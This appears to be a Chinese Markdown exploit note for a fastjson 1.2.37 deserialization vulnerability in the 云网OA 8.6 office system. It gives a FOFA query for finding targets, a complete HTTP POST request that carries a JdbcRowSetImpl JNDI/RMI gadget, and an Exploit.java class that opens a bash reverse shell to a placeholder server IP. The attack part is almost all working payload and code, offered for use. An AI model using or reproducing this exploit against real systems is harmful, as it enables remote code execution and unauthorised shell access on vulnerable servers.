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52 lines
1.6 KiB
Markdown
52 lines
1.6 KiB
Markdown
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## 云网OA8.6存在fastjson反序列化漏洞
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云网OA8.6使用fastjson1.2.37造成反序列化漏洞
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## fofa
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```
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"云网OA"
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```
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## poc
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```
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POST /oa//setup/updateUiSetup HTTP/1.1
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Host: 192.168.0.7:8096
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Cookie: skincode=lte; name=admin; pwd=; JSESSIONID=85F37A117572BE90EA4BA0ED10F77EF5
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 196
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uiSetup={"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1389/Exploit", "autoCommit":true}}
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```
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### Exploit.java
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```
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public class Exploit {
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public Exploit(){
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try {
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java.lang.Runtime.getRuntime().exec(
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new String[]{"bash", "-c", "bash -i >& /dev/tcp/服务器IP/12345 0>&1"});
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}
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catch(Exception e){
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e.printStackTrace();
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}
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}
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public static void main(String[] argv){
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Exploit e = new Exploit();
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}
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}
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```
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## 漏洞来源
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- https://mp.weixin.qq.com/s/KNE7khKhG9-FLTJK73ZfNQ
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